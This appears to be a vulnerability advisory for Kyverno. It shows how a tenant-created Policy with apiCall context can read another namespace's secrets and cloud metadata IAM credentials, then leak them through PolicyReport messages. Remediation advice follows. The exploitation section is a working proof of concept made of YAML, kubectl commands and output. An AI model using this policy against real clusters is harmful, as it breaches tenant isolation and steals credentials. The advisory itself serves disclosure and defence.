Details
Apply configuration:
kubectl apply -f tenant-a-rbac.yaml
Step 4: Verify Permission Isolation
Create test Pod:
kubectl run tenant-a-test -n tenant-a \
--image=bitnami/kubectl:latest \
--serviceaccount=tenant-a-admin \
--command -- sleep 3600
Verify tenant-a cannot directly access tenant-b:
$ kubectl exec -n tenant-a tenant-a-test -- kubectl get secrets -n tenant-b
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:tenant-a:tenant-a-admin" cannot list resource "secrets" in API group "" in the namespace "tenant-b"
This confirms that tenant-a's ServiceAccount indeed cannot directly access tenant-b's resources.
Exploitation
Step 1: Create Malicious Policy
Create file confused-deputy-attack.yaml:
apiVersion: [kyverno.io/v1](http://kyverno.io/v1)
kind: Policy
metadata:
name: confused-deputy-attack
namespace: tenant-a
spec:
background: true
validationFailureAction: Audit
rules:
- name: steal-tenant-b-secrets
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: tenantBSecrets
apiCall:
method: GET
urlPath: "/api/v1/namespaces/tenant-b/secrets/db-credentials"
validate:
message: "STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ tenantBSecrets.data.database | base64_decode(@) }}"
pattern:
metadata:
labels:
force-fail: "true"
- name: steal-cloud-credentials
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: cloudCreds
apiCall:
method: GET
service:
url: "http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role"
validate:
message: "STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}"
pattern:
metadata:
labels:
force-fail-cloud: "true"
Apply Policy:
$ kubectl apply -f confused-deputy-attack.yaml
[policy.kyverno.io/confused-deputy-attack](http://policy.kyverno.io/confused-deputy-attack) created
Step 2: Trigger Policy Execution
Create ConfigMap to trigger Policy:
$ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now
configmap/attack-trigger created
Step 3: View Stolen Data
After a few seconds, check PolicyReport:
$ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 "STOLEN"
Actual output:
- message: 'validation error: STOLEN TENANT-B SECRETS - Username: admin, Password:
SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed
at path /metadata/labels/'
policy: tenant-a/confused-deputy-attack
result: fail
rule: steal-tenant-b-secrets
--
- message: 'validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: AKIAIOSFODNN7EXAMPLE,
SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials
failed at path /metadata/labels/'
policy: tenant-a/confused-deputy-attack
result: fail
rule: steal-cloud-credentials
Attack successful. Tenant-a has stolen through Kyverno:
- Tenant-b's database credentials (username: admin, password: SuperSecret123!, database: production-db)
- Cloud platform IAM credentials (AccessKeyId and SecretAccessKey)
Step 4: Verify Kyverno Logs
Check Kyverno admission controller logs:
$ kubectl logs -n kyverno deployment/kyverno-admission-controller --tail=100 | grep -i "apicall"
2026-01-06T14:40:34Z INFO DefaultContextLoaderFactory apicall/apiCall.go:151 executed service APICall {"name": "cloudCredentials", "len": 180}
Logs show APICall executed successfully, returning 180 bytes of data (exactly the JSON length of the mock credentials).
Impact
This is a critical security vulnerability with particularly severe impact in multi-tenant Kubernetes environments.
Affected Environments
- All multi-tenant Kubernetes clusters using Kyverno
- Environments granting users namespace-level Policy creation permissions
- Clusters running on cloud platforms (AWS EKS, GCP GKE, Azure AKS)
Vulnerability Impact
- Complete Multi-Tenant Isolation Breach
- Tenants can read other tenants' Secrets (database passwords, API keys, etc.)
- Tenants can access other tenants' ConfigMaps and other resources
- Completely violates security assumptions of multi-tenant environments
- Cloud Platform Credential Leakage
- Can access cloud metadata service (169.254.169.254)
- Obtain node IAM role credentials
- Use these credentials to access cloud platform resources (S3, RDS, GCS, etc.)
- Lateral Movement
- Extend from Kubernetes cluster permissions to cloud platform resource access
- Potentially access other tenants' cloud resources
- Further penetration in cloud environments
- Confused Deputy Problem
- Low-privilege users leverage high-privilege proxy (Kyverno) to execute privileged operations
- Bypass RBAC permission controls
- Difficult to trace actual attackers through audit logs
Severity Assessment
- CVSS 3.1 Score: 8.5 (Critical)
- CWE Classification: CWE-918 (Server-Side Request Forgery)
In multi-tenant environments, the severity of this vulnerability is much higher than in single-tenant environments because it does not require cluster-admin privileges and can be exploited with only namespace-level Policy creation permissions.
Real-World Scenario Risks
Scenario 1: SaaS Multi-Tenant Platform
- Each customer has one namespace
- Customer A can steal Customer B's database passwords and API keys
- Leads to data breaches, compliance violations, loss of customer trust
Scenario 2: Enterprise Internal Multi-Team Shared Cluster
- Different business teams share one Kubernetes cluster
- Team A can steal Team B's production database credentials
- Leads to internal data breaches, production incidents
Scenario 3: Cloud Platform Managed Kubernetes
- Running on AWS EKS, GCP GKE, Azure AKS
- Tenants can obtain node IAM role credentials
- Access cloud platform resources, lateral movement to cloud environment
Remediation Recommendations
Immediate measures:
- Disable APICall feature in multi-tenant environments
- Restrict Policy creation permissions to cluster-admin only
- Use NetworkPolicy to restrict Kyverno Pod egress traffic
Long-term fixes:
- Add URL validation in executeServiceCall function to block internal IP addresses
- Use separate low-privilege ServiceAccount for APICall
- Implement URL whitelist mechanism
- Audit and monitor all APICall requests